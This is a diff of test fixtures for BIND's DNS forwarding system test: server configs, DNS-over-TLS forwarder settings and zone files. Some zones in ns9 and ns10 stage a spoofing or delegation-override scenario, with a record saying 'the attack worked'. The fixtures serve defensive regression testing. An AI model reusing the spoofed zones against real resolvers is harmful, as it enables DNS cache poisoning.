+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.10;
+	notify-source 10.53.0.10;
+	transfer-source 10.53.0.10;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.10; };
+	listen-on-v6 { none; };
+	minimal-responses no;
+	dnssec-validation no;
+};
+
+zone "net." {
+	type master;
+	file "fakenet.zone";
+};
+
+zone "spoofed.net." {
+	type master;
+	file "spoofednet.zone";
+};
+
+zone "sub.local.net." {
+	type master;
+	file "fakesublocalnet.zone";
+};
+
+zone "net2" {
+	type master;
+	file "fakenet2.zone";
+};
+
+zone "net.example.lll" {
+	type master;
+	file "net.example.lll";
+};
+
+zone "sub.local.tld." {
+	type master;
+	file "fakesublocaltld.zone";
+};
diff --git a/bin/tests/system/forward/ns10/net.example.lll b/bin/tests/system/forward/ns10/net.example.lll
new file mode 100644
index 0000000000..ba0804fd75
--- /dev/null
+++ b/bin/tests/system/forward/ns10/net.example.lll
@@ -0,0 +1,15 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 86400
+net.example.lll.		SOA	. . 0 0 0 0 0
+net.example.lll.		NS	attackSecureDomain.net.
+didItWork.net.example.lll.	TXT	"if you can see this record the attack worked"
diff --git a/bin/tests/system/forward/ns10/spoofednet.zone b/bin/tests/system/forward/ns10/spoofednet.zone
new file mode 100644
index 0000000000..fb70a4372b
--- /dev/null
+++ b/bin/tests/system/forward/ns10/spoofednet.zone
@@ -0,0 +1,16 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 86400
+spoofed.net.		SOA	. . 0 0 0 0 0
+spoofed.net.		NS	ns.spoofed.net.
+ns.spoofed.net.		A	10.53.0.10
+spoofed.net.		TXT	"this record is clearly spoofed"
diff --git a/bin/tests/system/forward/ns2/example.db b/bin/tests/system/forward/ns2/example.db
index 3a5f46c19e..df3e52c4be 100644
--- a/bin/tests/system/forward/ns2/example.db
+++ b/bin/tests/system/forward/ns2/example.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $TTL 300	; 5 minutes
 @			IN SOA	ns root (
 				2000082401 ; serial
diff --git a/bin/tests/system/forward/ns2/named-tls.conf.in b/bin/tests/system/forward/ns2/named-tls.conf.in
new file mode 100644
index 0000000000..2c68c6f287
--- /dev/null
+++ b/bin/tests/system/forward/ns2/named-tls.conf.in
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+tls tls-forward-secrecy {
+    protocols { TLSv1.2; };
+    ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+    prefer-server-ciphers yes;
+    key-file "../CA/certs/srv02.crt01.example.nil.key";
+    cert-file "../CA/certs/srv02.crt01.example.nil.pem";
+    dhparam-file "../dhparam3072.pem";
+};
+
+tls tls-forward-secrecy-mutual-tls {
+    protocols { TLSv1.2; };
+    ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+    prefer-server-ciphers yes;
+    key-file "../CA/certs/srv02.crt01.example.nil.key";
+    cert-file "../CA/certs/srv02.crt01.example.nil.pem";
+    dhparam-file "../dhparam3072.pem";
+    ca-file "../CA/CA.pem";
+};
+
+tls tls-expired {
+    protocols { TLSv1.2; };
+    ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+    prefer-server-ciphers yes;
+    key-file "../CA/certs/srv02.crt02-expired.example.nil.key";
+    cert-file "../CA/certs/srv02.crt02-expired.example.nil.pem";
+    dhparam-file "../dhparam3072.pem";
+};
diff --git a/bin/tests/system/forward/ns2/named.conf.in b/bin/tests/system/forward/ns2/named.conf.in
index f7256abb14..02da868fb2 100644
--- a/bin/tests/system/forward/ns2/named.conf.in
+++ b/bin/tests/system/forward/ns2/named.conf.in
@@ -1,22 +1,30 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
+include "named-tls.conf";
+
 options {
 	query-source address 10.53.0.2;
+	query-source-v6 address fd92:7065:b8e:ffff::2;
 	notify-source 10.53.0.2;
+	notify-source-v6 fd92:7065:b8e:ffff::2;
 	transfer-source 10.53.0.2;
+	transfer-source-v6 fd92:7065:b8e:ffff::2;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.2; };
-	listen-on-v6 { none; };
+	include "options-tls.conf";
+	listen-on-v6 { fd92:7065:b8e:ffff::2; };
 	recursion no;
 	dnssec-validation no;
 };
@@ -51,6 +59,16 @@ zone "example7." {
 	file "example.db";
 };
 
+zone "example8." {
+	type primary;
+	file "example.db";
+};
+
+zone "example9." {
+	type primary;
+	file "example.db";
+};
+
 zone "grafted." {
 	type primary;
 	file "example.db";
diff --git a/bin/tests/system/forward/ns2/options-tls.conf.in b/bin/tests/system/forward/ns2/options-tls.conf.in
new file mode 100644
index 0000000000..fab1fa706d
--- /dev/null
+++ b/bin/tests/system/forward/ns2/options-tls.conf.in
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+        tls-port @TLSPORT@;
+        listen-on tls ephemeral { 10.53.0.2; };
+        listen-on port @EXTRAPORT1@ tls tls-forward-secrecy { 10.53.0.2; };
+        listen-on port @EXTRAPORT2@ tls tls-forward-secrecy-mutual-tls { 10.53.0.2; };
+        listen-on port @EXTRAPORT3@ tls tls-expired { 10.53.0.2; };
diff --git a/bin/tests/system/forward/ns2/root.db b/bin/tests/system/forward/ns2/root.db
index 7346810ba6..7108723fb4 100644
--- a/bin/tests/system/forward/ns2/root.db
+++ b/bin/tests/system/forward/ns2/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/forward/ns2/tld.db b/bin/tests/system/forward/ns2/tld.db
index 61b6569b07..965f2a4615 100644
--- a/bin/tests/system/forward/ns2/tld.db
+++ b/bin/tests/system/forward/ns2/tld.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $TTL 300	; 5 minutes
 @			IN SOA	ns root (
 				2000082401 ; serial
@@ -10,3 +21,9 @@ $TTL 300	; 5 minutes
 ns			A	10.53.0.2
 sld			NS	ns.sld
 ns.sld			A	10.53.0.1
+local			NS	ns.local
+ns.local		A	10.53.0.9
+sibling			NS	ns.sibling
+ns.sibling		A	10.53.0.4
+sibling			NS	ns.sub.local
+ns.sub.local		A	10.53.0.10
diff --git a/bin/tests/system/forward/ns3/named1.conf.in b/bin/tests/system/forward/ns3/named1.conf.in
index 326befd99b..ffc0718bfc 100644
--- a/bin/tests/system/forward/ns3/named1.conf.in
+++ b/bin/tests/system/forward/ns3/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,20 +13,23 @@
 
 options {
 	query-source address 10.53.0.3;
+	query-source-v6 address fd92:7065:b8e:ffff::3;
 	notify-source 10.53.0.3;
+	notify-source-v6 fd92:7065:b8e:ffff::3;
 	transfer-source 10.53.0.3;
+	transfer-source-v6 fd92:7065:b8e:ffff::3;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.3; };
-	listen-on-v6 { none; };
-	forwarders { 10.53.0.2; };
+	listen-on-v6 { fd92:7065:b8e:ffff::3; };
+	forwarders { fd92:7065:b8e:ffff::2; };
 	forward first;
 	dnssec-validation yes;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/forward/ns3/named2.conf.in b/bin/tests/system/forward/ns3/named2.conf.in
index cf45ea62a9..986a60e02d 100644
--- a/bin/tests/system/forward/ns3/named2.conf.in
+++ b/bin/tests/system/forward/ns3/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,12 +13,15 @@
 
 options {
 	query-source address 10.53.0.3;
+	query-source-v6 address fd92:7065:b8e:ffff::3;
 	notify-source 10.53.0.3;
+	notify-source-v6 fd92:7065:b8e:ffff::3;
 	transfer-source 10.53.0.3;
+	transfer-source-v6 fd92:7065:b8e:ffff::3;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.3; };
-	listen-on-v6 { none; };
+	listen-on-v6 { fd92:7065:b8e:ffff::3; };
 	forwarders { 10.53.0.6; };
 	dnssec-validation yes;
 };
@@ -25,7 +30,7 @@ include "trusted.conf";
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/forward/ns3/root.db b/bin/tests/system/forward/ns3/root.db
index 7346810ba6..7108723fb4 100644
--- a/bin/tests/system/forward/ns3/root.db
+++ b/bin/tests/system/forward/ns3/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/forward/ns3/root2.db b/bin/tests/system/forward/ns3/root2.db
new file mode 100644
index 0000000000..40586f009b
--- /dev/null
+++ b/bin/tests/system/forward/ns3/root2.db
@@ -0,0 +1,21 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+. 			IN SOA	gson.nominum.com. a.root.servers.nil. (
+				2000042100   	; serial
+				600         	; refresh
+				600         	; retry
+				1200    	; expire
+				600       	; minimum
+				)
+.			NS	a.root-servers.nil.
+a.root-servers.nil.	A	10.53.0.11
diff --git a/bin/tests/system/forward/ns4/malicious.db b/bin/tests/system/forward/ns4/malicious.db
index f0b4b9cc6f..e4859c1fb8 100644
--- a/bin/tests/system/forward/ns4/malicious.db
+++ b/bin/tests/system/forward/ns4/malicious.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $TTL    86400
 @       IN      SOA     malicious. admin.malicious. (
                               1         ; Serial
diff --git a/bin/tests/system/forward/ns4/named-tls.conf.in b/bin/tests/system/forward/ns4/named-tls.conf.in
new file mode 100644
index 0000000000..ed8c86594c
--- /dev/null
+++ b/bin/tests/system/forward/ns4/named-tls.conf.in
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+tls tls-forward-secrecy {
+    protocols { TLSv1.2; };
+    ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+    dhparam-file "../dhparam3072.pem";
+    ca-file "../CA/CA.pem";
+};
+
+tls tls-forward-secrecy-remote-hostname {
+    protocols { TLSv1.2; };
+    ca-file "../CA/CA.pem";
+    remote-hostname "srv02.crt01.example.nil";
+};
+
+tls tls-forward-secrecy-bad-remote-hostname {
+    protocols { TLSv1.2; };
+    ca-file "../CA/CA.pem";
+    remote-hostname "srv02-bad.crt01.example.nil";
+};
+
+tls tls-forward-secrecy-mutual-tls {
+    protocols { TLSv1.2; };
+    ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+    key-file "../CA/certs/srv04.crt01.example.nil.key";
+    cert-file "../CA/certs/srv04.crt01.example.nil.pem";
+    dhparam-file "../dhparam3072.pem";
+    ca-file "../CA/CA.pem";
+};
+
+tls tls-expired {
+    protocols { TLSv1.2; };
+    ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+    prefer-server-ciphers yes;
+    dhparam-file "../dhparam3072.pem";
+    ca-file "../CA/CA.pem";
+};
+
+zone "example1." {
+	type forward;
+	forward first;
+	forwarders { 10.53.0.2 tls ephemeral; };
+};
+
+zone "example3." {
+	type forward;
+	forwarders port @EXTRAPORT1@ tls tls-forward-secrecy { 10.53.0.2; };
+};
+
+zone "example4." {
+	type forward;
+	forward only;
+	forwarders port @EXTRAPORT1@ tls tls-forward-secrecy { 10.53.0.2 tls tls-expired port @EXTRAPORT3@; };
+};
+
+zone "example8." {
+	type forward;
+	forward only;
+	forwarders port @EXTRAPORT1@ tls tls-forward-secrecy-remote-hostname { 10.53.0.2; };
+};
+
+zone "example9." {
+	type forward;
+	forward only;
+	forwarders port @EXTRAPORT1@ tls tls-forward-secrecy-bad-remote-hostname { 10.53.0.2; };
+};
+
+zone "1.0.10.in-addr.arpa" {
+	type forward;
+	forward only;
+	forwarders { 10.53.0.2 tls tls-forward-secrecy-mutual-tls port @EXTRAPORT2@; };
+};
diff --git a/bin/tests/system/forward/ns4/named.conf.in b/bin/tests/system/forward/ns4/named.conf.in
index 855b4bfb82..f6524d5858 100644
--- a/bin/tests/system/forward/ns4/named.conf.in
+++ b/bin/tests/system/forward/ns4/named.conf.in
@@ -1,19 +1,24 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
+include "named-tls.conf";
+
 options {
 	query-source address 10.53.0.4;
 	notify-source 10.53.0.4;
 	transfer-source 10.53.0.4;
 	port @PORT@;
+	include "options-tls.conf";
 	pid-file "named.pid";
 	listen-on { 10.53.0.4; };
 	listen-on-v6 { none; };
@@ -27,29 +32,12 @@ zone "." {
 	file "root.db";
 };
 
-zone "example1." {
-	type forward;
-	forward first;
-	forwarders { 10.53.0.2; };
-};
-
-zone "example3." {
-	type forward;
-	forwarders { 10.53.0.2; };
-};
-
 zone "example5." {
 	type forward;
 	forward only;
 	forwarders { 10.53.0.2; };
 };
 
-zone "1.0.10.in-addr.arpa" {
-	type forward;
-	forward only;
-	forwarders { 10.53.0.2; };
-};
-
 zone "grafted" {
 	type forward;
 	forward only;
@@ -60,3 +48,8 @@ zone "malicious." {
 	type primary;
 	file "malicious.db";
 };
+
+zone "sibling.tld" {
+	type primary;
+	file "sibling.tld.db";
+};
diff --git a/bin/tests/system/forward/ns4/options-tls.conf.in b/bin/tests/system/forward/ns4/options-tls.conf.in
new file mode 100644
index 0000000000..fe3491e6c8
--- /dev/null
+++ b/bin/tests/system/forward/ns4/options-tls.conf.in
@@ -0,0 +1,14 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+	tls-port @TLSPORT@;
diff --git a/bin/tests/system/forward/ns4/root.db b/bin/tests/system/forward/ns4/root.db
index 7346810ba6..7108723fb4 100644
--- a/bin/tests/system/forward/ns4/root.db
+++ b/bin/tests/system/forward/ns4/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/forward/ns4/sibling.tld.db b/bin/tests/system/forward/ns4/sibling.tld.db
new file mode 100644
index 0000000000..fe080ae974
--- /dev/null
+++ b/bin/tests/system/forward/ns4/sibling.tld.db
@@ -0,0 +1,22 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL    86400
+@       IN      SOA     malicious. admin.malicious. (
+                              1         ; Serial
+                         604800         ; Refresh
+                          86400         ; Retry
+                        2419200         ; Expire
+                          86400 )       ; Negative Cache TTL
+
+@           IN    NS      ns
+
+ns          IN    A       10.53.0.4
diff --git a/bin/tests/system/forward/ns5/named.conf.in b/bin/tests/system/forward/ns5/named.conf.in
index 84f0ad089e..024f49be16 100644
--- a/bin/tests/system/forward/ns5/named.conf.in
+++ b/bin/tests/system/forward/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/forward/ns5/rebind.db b/bin/tests/system/forward/ns5/rebind.db
index 4741e8c4c3..aed6c2ee69 100644
--- a/bin/tests/system/forward/ns5/rebind.db
+++ b/bin/tests/system/forward/ns5/rebind.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $TTL    86400
 @       IN      SOA     rebind. admin.rebind. (
                               1         ; Serial
diff --git a/bin/tests/system/forward/ns5/root.db b/bin/tests/system/forward/ns5/root.db
index 7346810ba6..7108723fb4 100644
--- a/bin/tests/system/forward/ns5/root.db
+++ b/bin/tests/system/forward/ns5/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/forward/ns7/named.conf.in b/bin/tests/system/forward/ns7/named.conf.in
index d9f5e8a9db..302bb55e5d 100644
--- a/bin/tests/system/forward/ns7/named.conf.in
+++ b/bin/tests/system/forward/ns7/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/forward/ns7/root.db b/bin/tests/system/forward/ns7/root.db
index 7346810ba6..7108723fb4 100644
--- a/bin/tests/system/forward/ns7/root.db
+++ b/bin/tests/system/forward/ns7/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/forward/ns8/named.conf.in b/bin/tests/system/forward/ns8/named.conf.in
index 531ff59ece..2de656fe2f 100644
--- a/bin/tests/system/forward/ns8/named.conf.in
+++ b/bin/tests/system/forward/ns8/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,3 +28,8 @@ zone "." {
 	type hint;
 	file "root.db";
 };
+
+zone "sub.local.tld" {
+	type primary;
+	file "sub.local.tld.db";
+};
diff --git a/bin/tests/system/forward/ns8/root.db b/bin/tests/system/forward/ns8/root.db
index 0785fc7597..2cbdff5977 100644
--- a/bin/tests/system/forward/ns8/root.db
+++ b/bin/tests/system/forward/ns8/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/forward/ns8/sub.local.tld.db b/bin/tests/system/forward/ns8/sub.local.tld.db
new file mode 100644
index 0000000000..f2234c754e
--- /dev/null
+++ b/bin/tests/system/forward/ns8/sub.local.tld.db
@@ -0,0 +1,15 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+sub.local.tld.		3600	IN	SOA	. . 0 0 0 0 0
+sub.local.tld.		3600	IN	NS	ns.sub.local.tld.
+sub.local.tld.		3600	IN	TXT	good
+ns.sub.local.tld.	3600	IN	A	10.53.0.8
diff --git a/bin/tests/system/forward/ns9/local.net.db b/bin/tests/system/forward/ns9/local.net.db
new file mode 100644
index 0000000000..af0d2a5a67
--- /dev/null
+++ b/bin/tests/system/forward/ns9/local.net.db
@@ -0,0 +1,16 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+local.net.		3600	IN	SOA	. . 0 0 0 0 0
+local.net.		3600	IN	NS	localhost.
+ns.local.net.		3600	IN	A	10.53.0.9
+txt.local.net.		3600	IN	TXT	"something in the local auth zone"
+sub.local.net.		3600	IN	NS	ns.spoofed.net.  ; attacker will try to override this
diff --git a/bin/tests/system/forward/ns9/local.tld.db b/bin/tests/system/forward/ns9/local.tld.db
new file mode 100644
index 0000000000..876a9139da
--- /dev/null
+++ b/bin/tests/system/forward/ns9/local.tld.db
@@ -0,0 +1,15 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
